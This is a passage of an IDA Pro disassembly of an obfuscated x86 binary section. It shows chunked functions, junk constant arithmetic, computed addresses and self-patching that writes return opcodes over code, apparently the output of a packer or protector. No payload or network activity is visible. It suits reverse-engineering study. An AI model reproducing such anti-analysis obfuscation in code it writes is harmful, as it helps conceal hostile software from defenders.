; ---------------------------------------------------------------------------

loc_445EB8:				; CODE XREF: y22d6.y.:00440E9Ej
		mov	edx, ds:dword_4401EC
		or	edx, edx
		jnz	loc_446F79
		jmp	loc_4470D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437D47

loc_445ECB:				; CODE XREF: sub_437D47:loc_449ECAj
		xchg	esi, [esp-4+arg_0]
		jmp	loc_44B2A4
; END OF FUNCTION CHUNK	FOR sub_437D47
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4383E0

loc_445ED3:				; CODE XREF: sub_4383E0+24j
		jl	loc_44E1F7
		xor	eax, 1D903300h
		jmp	loc_43C4E3
; END OF FUNCTION CHUNK	FOR sub_4383E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4491D8

loc_445EE4:				; CODE XREF: sub_4491D8:loc_44C486j
		mov	edi, edx
		pop	edx
		add	edi, 0FDAB0ADCh
		test	edi, 20h
		jmp	loc_43D564
; END OF FUNCTION CHUNK	FOR sub_4491D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_445EF8:				; CODE XREF: sub_44AEDA:loc_43A4D6j
		jge	loc_43C098

loc_445EFE:				; CODE XREF: sub_445B15+13j
		jmp	loc_43DFDD
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F501

loc_445F03:				; CODE XREF: sub_43F501+4CB2j
		jmp	loc_43D8AA
; END OF FUNCTION CHUNK	FOR sub_43F501
; ---------------------------------------------------------------------------

loc_445F08:				; CODE XREF: y22d6.y.:004406E1j
		jmp	nullsub_360
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43923C

loc_445F0D:				; CODE XREF: sub_43923C+6j
		jmp	loc_441E7A
; END OF FUNCTION CHUNK	FOR sub_43923C
; ---------------------------------------------------------------------------
		jle	loc_43D4FA
		sbb	esi, 4E6BA6A3h
		cdq
		adc	ebx, eax
		xor	eax, 717C467Ch
		jmp	loc_43C098
; ---------------------------------------------------------------------------

loc_445F2C:				; CODE XREF: y22d6.y.:0044A6B5j
		pop	ebp
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_445F2D:				; CODE XREF: sub_44BCC2:loc_437D08j
		xor	eax, 597A60BDh
		and	eax, 9D34FF08h
		xor	eax, 1901C763h
		jmp	loc_44A260
; END OF FUNCTION CHUNK	FOR sub_44BCC2

; =============== S U B	R O U T	I N E =======================================



sub_445F44	proc near		; DATA XREF: y22d6.y.:loc_442911o

; FUNCTION CHUNK AT 0044BB8D SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		jmp	loc_44BB8D
sub_445F44	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA69

loc_445F4C:				; CODE XREF: sub_44AA69-10B75j
		push	esi
		push	edi
		mov	edi, eax
		xchg	edi, [esp+0Ch+var_C]
		mov	eax, edi
		xchg	eax, [esp+0Ch+var_C]
		push	ebx
		push	ecx
		jmp	loc_43D312
; END OF FUNCTION CHUNK	FOR sub_44AA69
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443169

loc_445F5F:				; CODE XREF: sub_443169:loc_440573j
		lea	eax, sub_441030
		mov	byte ptr [eax],	0C3h
		jmp	sub_441030
; END OF FUNCTION CHUNK	FOR sub_443169
; ---------------------------------------------------------------------------
		call	nullsub_332
		jmp	ds:dword_41E084
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_445F78:				; CODE XREF: sub_43C6D7+11E13j
		jmp	loc_43AC98
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB81

loc_445F7D:				; CODE XREF: sub_44DB81-6110j
		jmp	loc_44423D
; END OF FUNCTION CHUNK	FOR sub_44DB81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F8B

loc_445F82:				; CODE XREF: sub_444F8B+13j
		jmp	nullsub_46
; END OF FUNCTION CHUNK	FOR sub_444F8B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_332. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	loc_44153B
; ---------------------------------------------------------------------------

loc_445F8D:				; CODE XREF: y22d6.y.:loc_446161j
		jz	loc_4447C6
		jmp	loc_441978

; =============== S U B	R O U T	I N E =======================================



sub_445F98	proc near		; CODE XREF: sub_44B011:loc_43B6B7p
					; y22d6.y.:0043F951j
		xchg	esi, [esp+0]
		pop	esi
		mov	ebx, edi
		pop	edi
		jmp	loc_440C55
sub_445F98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4480DE

loc_445FA4:				; CODE XREF: sub_4480DE:loc_446F88j
					; y22d6.y.:loc_44AC83j
		mov	eax, [ebp+var_4]
		call	sub_43A3A9
		test	al, al
		jnz	loc_43B3E6
; END OF FUNCTION CHUNK	FOR sub_4480DE
; START	OF FUNCTION CHUNK FOR sub_43DD42

loc_445FB4:				; CODE XREF: sub_4480DE-FE33j
					; sub_4480DE-CB2Cj ...
		pop	ecx
		pop	ecx
		jmp	loc_43B3E4
; END OF FUNCTION CHUNK	FOR sub_43DD42
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_445FBC:				; CODE XREF: y22d6.y.:004460E4j
		jnz	loc_44A0CE
		jmp	loc_444149
; ---------------------------------------------------------------------------

loc_445FC7:				; DATA XREF: sub_44BEA6+7o
		push	2B9C1ECEh
		pop	esi
		and	esi, 768A9C73h
		xor	esi, ds:4000E2h
		add	esi, 0C4D3BD21h
		xchg	esi, [esp]
		jmp	loc_44648D
; ---------------------------------------------------------------------------
		call	sub_44A9DF
		jmp	loc_44E67B
; ---------------------------------------------------------------------------

loc_445FF1:				; CODE XREF: y22d6.y.:0043C1BAj
					; y22d6.y.:0043DC09j
		and	edi, 241F0C40h
		xor	edi, 0A679364Ah
		add	edi, 59CFA646h
		push	offset sub_445BA3
		jmp	locret_44DDFB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_44600D:				; CODE XREF: sub_44A359-9A40j
		popf
		jmp	loc_43E2F0
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------

loc_446013:				; CODE XREF: y22d6.y.:0043DDF1j
		js	loc_43EFC8
; START	OF FUNCTION CHUNK FOR sub_43B201

loc_446019:				; CODE XREF: sub_43B201:loc_43DDDCj
		sub	ebx, 98F37061h
		or	ebx, 0CEF2F7Ah
		add	ebx, 0E100C01Eh
		jmp	loc_445098
; END OF FUNCTION CHUNK	FOR sub_43B201
; ---------------------------------------------------------------------------
		sbb	ecx, ebp
		jmp	loc_4456C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44633F

loc_446037:				; CODE XREF: sub_44633F:loc_43EB81j
		push	edx
		call	sub_438E86
		push	19AAB1E8h
		pop	eax
		rol	eax, 11h
		add	eax, 0F8129464h
		jmp	loc_438F0D
; END OF FUNCTION CHUNK	FOR sub_44633F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440330

loc_446051:				; CODE XREF: sub_440330+Aj
		mov	al, [eax]
		jno	loc_43DF0B
		sub	al, 99h
		push	2FE918Ah
		pop	edx
		add	edx, 0EAB82A93h
		rol	edx, 9
		cmp	edx, 0FD07A6ADh
		jmp	loc_4377A6
; END OF FUNCTION CHUNK	FOR sub_440330
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_446075:				; CODE XREF: sub_448EB6+7Dj
		test	ebx, ecx
		jmp	loc_442CCE
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------

loc_44607C:				; CODE XREF: y22d6.y.:0044B191j
		jle	loc_438290

; =============== S U B	R O U T	I N E =======================================



sub_446082	proc near		; CODE XREF: sub_4404E5-8019p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004372E9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438658 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043BE57 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043D71C SIZE 00000016 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		pop	ebx
		xor	eax, eax
		jmp	loc_4372E9
sub_446082	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_446093:				; CODE XREF: y22d6.y.:loc_44A46Aj
		pop	edi
		xor	edi, 8F630811h
		or	edi, 0FB99D72Bh
		and	edi, 0FEABEB68h
		add	edi, 5B81598h
		mov	[edi], eax
		pop	edi
		jmp	loc_441C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444DB4

loc_4460B4:				; CODE XREF: sub_444DB4+14j
		test	eax, eax
		jl	loc_44DA43
		inc	eax
		mov	[ebp-24h], eax
		mov	dword ptr [ebp-18h], 0
		jmp	loc_44DCAD
; END OF FUNCTION CHUNK	FOR sub_444DB4
; ---------------------------------------------------------------------------
		test	ecx, 0E2DCDB5Fh
		jmp	loc_44A5B1
; ---------------------------------------------------------------------------

loc_4460D7:				; DATA XREF: y22d6.y.:0044C572o
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_43E2F2
		jmp	loc_445FBC
; ---------------------------------------------------------------------------

loc_4460E9:				; CODE XREF: y22d6.y.:0043F6E7j
		jnz	loc_440573
		add	ebp, 0FB2AD2CCh
		ror	ebp, 0Fh
		cdq
		jmp	loc_43F329
; ---------------------------------------------------------------------------

loc_4460FE:				; CODE XREF: y22d6.y.:loc_444AD2j
		pop	ebp
		jno	loc_439EBE
		mov	eax, [esp]
		push	edi
		mov	edi, edx
		jmp	loc_43B50D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440280

loc_446110:				; CODE XREF: y22d6.y.:0043846Aj
					; sub_440280:loc_438EF6j
		popf
		xchg	ecx, esi
		sub	ecx, 0D02A2BCh
		jmp	loc_43A8A9
; END OF FUNCTION CHUNK	FOR sub_440280
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_124. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44146B

loc_44611F:				; CODE XREF: sub_44146B+A19Dj
		jmp	sub_43E953
; END OF FUNCTION CHUNK	FOR sub_44146B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C758

loc_446124:				; CODE XREF: sub_44C758-2574j
		jmp	loc_445877
; END OF FUNCTION CHUNK	FOR sub_44C758
; ---------------------------------------------------------------------------
		and	esi, 64184CBEh
		mov	esi, edi
		jmp	sub_44AB7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C322

loc_446136:				; CODE XREF: sub_44C322:loc_4436CBj
		mov	edx, 0CF0182F6h
		call	sub_449739
		jmp	loc_4413E0
; END OF FUNCTION CHUNK	FOR sub_44C322

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_446145	proc near		; CODE XREF: sub_44C171j

; FUNCTION CHUNK AT 0043B4CD SIZE 0000000F BYTES

		push	ebp

loc_446146:				; CODE XREF: y22d6.y.:loc_448E38j
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_441974, 0
		jnz	loc_43B02B
		call	nullsub_4
		jmp	loc_43B4CD
sub_446145	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_312. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_446161:				; CODE XREF: y22d6.y.:00440B30j
		jmp	loc_445F8D
; ---------------------------------------------------------------------------

loc_446166:				; CODE XREF: y22d6.y.:loc_44C522j
		call	sub_43DD60
; START	OF FUNCTION CHUNK FOR sub_4450FD

loc_44616B:				; CODE XREF: sub_4450FD+8DFAj
		jmp	loc_43930A
; END OF FUNCTION CHUNK	FOR sub_4450FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_446170:				; CODE XREF: sub_44439D-8A3j
		jmp	loc_44C684
; END OF FUNCTION CHUNK	FOR sub_44439D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DC7

loc_446175:				; CODE XREF: sub_441DC7-6355j
		jmp	loc_44623D
; END OF FUNCTION CHUNK	FOR sub_441DC7

; =============== S U B	R O U T	I N E =======================================



sub_44617A	proc near		; DATA XREF: y22d6.y.:0043A802o

; FUNCTION CHUNK AT 004397E1 SIZE 00000005 BYTES

		lea	eax, nullsub_7
		mov	byte ptr [eax],	0C3h
		jmp	loc_4397E1
sub_44617A	endp


; =============== S U B	R O U T	I N E =======================================



sub_446188	proc near		; CODE XREF: sub_401000+343p
					; sub_4049E1+261p ...
		push	eax
		push	offset loc_44A70E
		jmp	nullsub_84
sub_446188	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449641

loc_446193:				; CODE XREF: sub_449641:loc_43D787j
		jz	loc_43DC66

loc_446199:				; CODE XREF: sub_44585C-4C5Aj
		jmp	loc_43D702
; END OF FUNCTION CHUNK	FOR sub_449641
; ---------------------------------------------------------------------------
		xor	edx, ebx
		sbb	edi, 0B6AADA45h

loc_4461A6:				; CODE XREF: y22d6.y.:0044D205j
		jmp	loc_43DC60
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441191

loc_4461AB:				; CODE XREF: sub_441191:loc_44C4C8j
		and	ecx, 0E017051Ah
		add	ecx, 520BE409h
		xor	eax, ecx
		pop	ecx
		js	loc_443A39
		push	offset sub_44D44A
		jmp	loc_44D3EA
; END OF FUNCTION CHUNK	FOR sub_441191
; ---------------------------------------------------------------------------
		pop	esi
		jmp	sub_441B5E
; ---------------------------------------------------------------------------
		jg	loc_447596
		jmp	sub_4395B1
; ---------------------------------------------------------------------------

loc_4461DB:				; CODE XREF: y22d6.y.:0044420Cj
		pop	ebp
		xchg	ebx, eax
		jno	loc_44BAC1
; START	OF FUNCTION CHUNK FOR sub_43B09B

loc_4461E4:				; CODE XREF: sub_43B09B+915Fj
		or	eax, 0E3571D76h
		jmp	loc_448394
; END OF FUNCTION CHUNK	FOR sub_43B09B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B9F3

loc_4461EF:				; CODE XREF: sub_43B9F3:loc_43E4DEj
		rol	eax, 1Bh
		add	eax, 265B268Ah
		call	sub_43F7FF
		mov	ds:off_41E034, eax
		lea	eax, sub_44E242
		mov	byte ptr [eax],	0C3h
		jmp	loc_444DAF
; END OF FUNCTION CHUNK	FOR sub_43B9F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E242

loc_446211:				; CODE XREF: sub_44E242j
		pop	edx
		jmp	loc_4428FD
; END OF FUNCTION CHUNK	FOR sub_44E242

; =============== S U B	R O U T	I N E =======================================



sub_446217	proc near		; CODE XREF: sub_40196D+3Cp
					; sub_40196D+7Ep ...
		call	sub_446222
		jmp	ds:off_41E010
sub_446217	endp


; =============== S U B	R O U T	I N E =======================================



sub_446222	proc near		; CODE XREF: sub_4409F4-68DAj
					; y22d6.y.:loc_43EB86j	...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043A854 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D8A0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043F917 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445AAC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044CE49 SIZE 0000000E BYTES

		jb	loc_43F917
		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		mov	eax, [esp+4+var_4]
		jmp	loc_43D8A0
sub_446222	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_446236	proc near		; CODE XREF: sub_4444CE+7p
					; y22d6.y.:004497EFj

; FUNCTION CHUNK AT 00438A09 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00441D3D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044C28C SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044D0F3 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax+0Ch]

loc_44623D:				; CODE XREF: y22d6.y.:loc_43AD5Aj
					; sub_441DC7:loc_446175j
		jb	loc_438A17
		mov	ebx, [eax+18h]
		jmp	loc_44D0F3
sub_446236	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	0A38ECCFh
		jmp	loc_4385EB
; ---------------------------------------------------------------------------

loc_446255:				; CODE XREF: y22d6.y.:0044BA4Ej
		xor	edi, 0A3FD1E02h

; =============== S U B	R O U T	I N E =======================================



sub_44625B	proc near		; CODE XREF: sub_439096+102D6p
		xchg	edx, [esp+0]
		pop	edx
		mov	eax, edx
		nop
		call	sub_43CDA6
sub_44625B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44B635

loc_446267:				; CODE XREF: sub_44B635+14j
		jmp	loc_44D099
; END OF FUNCTION CHUNK	FOR sub_44B635
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44626C:				; CODE XREF: sub_4432B8+6CADj
		jmp	loc_439B96
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------

loc_446271:				; CODE XREF: y22d6.y.:0043CAAEj
		jmp	loc_43A512
; ---------------------------------------------------------------------------

loc_446276:				; DATA XREF: sub_448D0A+7o
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_441854
		or	eax, eax
		jnz	loc_43DBB2
		jmp	loc_4442EF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_131. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_44628D:				; CODE XREF: sub_440395-615Cj
		xor	esi, 60D71BA5h

loc_446293:				; CODE XREF: sub_440395:loc_44890Cj
		push	dword ptr [ebp+10h]
		push	ebx
		push	310D18BAh
		jmp	loc_43C7E1
; END OF FUNCTION CHUNK	FOR sub_440395
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_213. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_4462A2:				; CODE XREF: y22d6.y.:0043E41Fj
		jmp	loc_4370BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_4462A7:				; CODE XREF: sub_43B7B5:loc_441A94j
		adc	eax, 0DFB10DCAh
		test	ebx, 0C3ECF2BAh
		jmp	loc_445335
; END OF FUNCTION CHUNK	FOR sub_43B7B5
; ---------------------------------------------------------------------------
		xor	eax, 0F7B7167h
		jmp	sub_44364E
; ---------------------------------------------------------------------------

loc_4462C3:				; CODE XREF: y22d6.y.:0043F2E8j
		mov	ebp, eax
		xchg	ebp, [esp]
		mov	eax, edx
		call	sub_4463CE
		mov	eax, [esp]
		push	edx
		jmp	loc_440DF6
; ---------------------------------------------------------------------------

loc_4462D8:				; CODE XREF: y22d6.y.:0044E558j
		jz	loc_43FC89
		jnp	loc_43EE10
		mov	eax, [edx]
		jmp	loc_43FC87
; ---------------------------------------------------------------------------

loc_4462EB:				; DATA XREF: sub_43E5C2+2F1Co
		or	eax, eax
		jnz	loc_43ACD6
		jmp	loc_449318
; ---------------------------------------------------------------------------

loc_4462F8:				; CODE XREF: y22d6.y.:0043BB80j
		cmp	edi, 4B25B05Ah
		jmp	loc_4378EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A58D

loc_446303:				; CODE XREF: sub_43A58D:loc_449AD0j
		add	eax, ds:4000E3h
		or	eax, 0EF400B6Eh
		add	eax, 0F95508h
		push	ebx
		pushf
		push	5AA9E675h
		jmp	loc_44D67B
; END OF FUNCTION CHUNK	FOR sub_43A58D
; ---------------------------------------------------------------------------

loc_446321:				; CODE XREF: y22d6.y.:0044B5DAj
		jns	loc_4416DF
		mov	eax, [esp]
		push	esi
		mov	esi, edx
		xchg	esi, [esp]
		call	sub_44B674
		push	0E2E088DAh
		jmp	loc_44BB25

; =============== S U B	R O U T	I N E =======================================



sub_44633F	proc near		; CODE XREF: sub_439C3E:loc_43E0BFj
					; sub_44633F-4DF1j ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043792F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004385C1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438C4D SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00438F0D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043906F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004393A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004393F3 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A40C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A651 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0043B21A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BC38 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043BF40 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043BFA7 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C03F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D5E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043DB40 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0043DDE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DEB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EB81 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EEA6 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043F2ED SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00440763 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441545 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004417C2 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00441B47 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00443B68 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444A31 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00445801 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00446037 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00448652 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004487D0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00449574 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00449DDA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044ACFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AD3E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044AD49 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044BD7F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044C1CA SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044DD8B SIZE 00000015 BYTES

		jo	loc_441553
		xchg	eax, [esp+4+var_4]
		mov	edx, eax
		pop	eax
		mov	eax, [esp+0]
		jmp	loc_43EB81
sub_44633F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_446353:				; CODE XREF: sub_439F2D:loc_44C649j
		and	ebx, 84909463h
		rol	ebx, 6
		add	ebx, 0DC1ED021h
		xchg	ebx, [esp+0]
		jmp	sub_44B06F
; END OF FUNCTION CHUNK	FOR sub_439F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7D4

loc_44636A:				; CODE XREF: sub_43B7D4+CC9j
		jnz	loc_44E2DD
		jmp	loc_446533
; END OF FUNCTION CHUNK	FOR sub_43B7D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F37

loc_446375:				; CODE XREF: sub_444F37+6C35j
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_444D67
		cmp	dword ptr [ebp-0Ch], 5
		jmp	loc_44312F
; END OF FUNCTION CHUNK	FOR sub_444F37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43704E

loc_44638B:				; CODE XREF: sub_43910C+Aj
					; sub_440D11:loc_4435D1j ...
		ror	eax, 19h
		xor	eax, 361E0FAEh
		push	offset loc_444108
		jmp	nullsub_85
; END OF FUNCTION CHUNK	FOR sub_43704E
; ---------------------------------------------------------------------------

loc_44639E:				; CODE XREF: y22d6.y.:004385D9j
		cmp	edx, 4757DF1Dh
		jmp	loc_443FE5
; ---------------------------------------------------------------------------

loc_4463A9:				; CODE XREF: y22d6.y.:loc_44A19Cj
		retn
; ---------------------------------------------------------------------------
		xchg	ebp, esi
		xor	ebx, ecx
		jmp	sub_444DB4
; ---------------------------------------------------------------------------

loc_4463B3:				; DATA XREF: sub_448EB6+F1o
		popf
		xchg	ecx, [esp]
		jmp	sub_43CA1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_265. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F08

loc_4463BD:				; CODE XREF: sub_441F08+3234j
		jmp	loc_43D1AC
; END OF FUNCTION CHUNK	FOR sub_441F08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_4463C2:				; CODE XREF: sub_43C6D7-4F53j
		jmp	sub_43CA1A
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C242

loc_4463C7:				; CODE XREF: sub_43C242+4010j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_43C242
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_4463C9:				; CODE XREF: sub_43C55B+60D8j
					; sub_4432B8:loc_4452B7j
		jmp	sub_4422AA
; END OF FUNCTION CHUNK	FOR sub_4432B8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4463CE	proc near		; CODE XREF: sub_43BCA9-17FDj
					; sub_43C7C1+5p ...

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00443A29 SIZE 00000010 BYTES

		push	ebp

loc_4463CF:				; CODE XREF: sub_43C242+27DDj
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		call	sub_43B7D4

loc_4463DA:				; CODE XREF: y22d6.y.:0043E69Bj
		jge	loc_4419DA

loc_4463E0:				; CODE XREF: sub_44D44A-A7E5j
		jmp	loc_443A29
sub_4463CE	endp

; ---------------------------------------------------------------------------
		shl	edi, 1Eh
		jmp	loc_4419D8
; ---------------------------------------------------------------------------
		ror	ecx, 7
		jmp	loc_43D9C5
; ---------------------------------------------------------------------------
		jmp	ds:off_41E088
; ---------------------------------------------------------------------------

loc_4463FB:				; CODE XREF: y22d6.y.:0044D5ACj
		jmp	loc_44E15F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439051

loc_446400:				; CODE XREF: sub_439051+727Ej
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_439051
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438A94

loc_446405:				; CODE XREF: y22d6.y.:loc_4374B3j
					; sub_438A94+FF7j ...
		jb	loc_447C4E
		pop	edx
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		jmp	loc_4473DB
; END OF FUNCTION CHUNK	FOR sub_438A94

; =============== S U B	R O U T	I N E =======================================



sub_446417	proc near		; DATA XREF: sub_43AD64:loc_43886Ao

; FUNCTION CHUNK AT 0043A6F8 SIZE 00000005 BYTES

		add	eax, 7FC3A2BCh
		xchg	eax, [esp+0]
		jmp	loc_43A6F8
sub_446417	endp


; =============== S U B	R O U T	I N E =======================================



sub_446425	proc near		; CODE XREF: sub_4432B8:loc_4426DEj
					; sub_44314Dp ...

; FUNCTION CHUNK AT 00441A45 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		mov	edx, edi
		pop	edi
		jnb	loc_4434F2
		push	offset sub_44A768
		jmp	loc_441A45
sub_446425	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_44643B	proc near		; CODE XREF: sub_445A15:loc_44C3EBj
		retn
sub_44643B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438ACB

loc_44643C:				; CODE XREF: sub_438ACB+1Aj
		jmp	sub_44D293
; END OF FUNCTION CHUNK	FOR sub_438ACB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_446441:				; CODE XREF: sub_439A90+16j
		pop	edx
		add	edx, 0ED3E97B7h
		test	edx, 4000000h
		jmp	loc_44C538
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C128

loc_446453:				; CODE XREF: sub_43C128+10j
		rol	ecx, 1Fh
		add	ecx, 0E4FD1965h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_44195D
; END OF FUNCTION CHUNK	FOR sub_43C128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44439D

loc_446464:				; CODE XREF: sub_44439D-6A19j
					; y22d6.y.:00449A15j
